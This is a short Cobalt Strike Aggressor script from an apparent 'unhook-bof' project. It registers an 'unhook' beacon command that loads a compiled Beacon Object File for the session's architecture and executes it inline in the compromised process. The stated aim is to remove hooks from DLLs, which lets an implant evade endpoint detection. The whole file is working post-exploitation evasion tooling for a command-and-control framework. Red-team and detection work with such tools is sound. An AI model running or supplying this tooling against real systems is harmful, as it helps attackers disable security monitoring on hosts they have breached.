rsmudge-unhook-bof/unhook.cna

alias unhook {
	local('$barch $handle $data $stomp $args');

	# figure out the arch of this session
	$barch  = barch($1);

	# if we're module stomping; don't run the unhook as-is because we'll walk over
	# everything. We don't want that. A nice improvement would ask unhooker to skip stomped module.
	$stomp = [data_query("metadata")["c2profile"] getString: ".stage.module_ $+ $barch"];

	# read in the right BOF file
	$handle = openf(script_resource("unhook. $+ $barch $+ .o"));
	$data   = readb($handle, -1);
	closef($handle);

	# pack the arguments
	$args = bof_pack($1, "z", $stomp);

	btask($1, "Running unhook");

	# run it.. 
	beacon_inline_execute($1, $data, "go", $args);
}

beacon_command_register(
	"unhook", 
	"remove hooks from DLLs in this process", 
	"Synopsis: unhook\n\nAttempt to remove hooks.");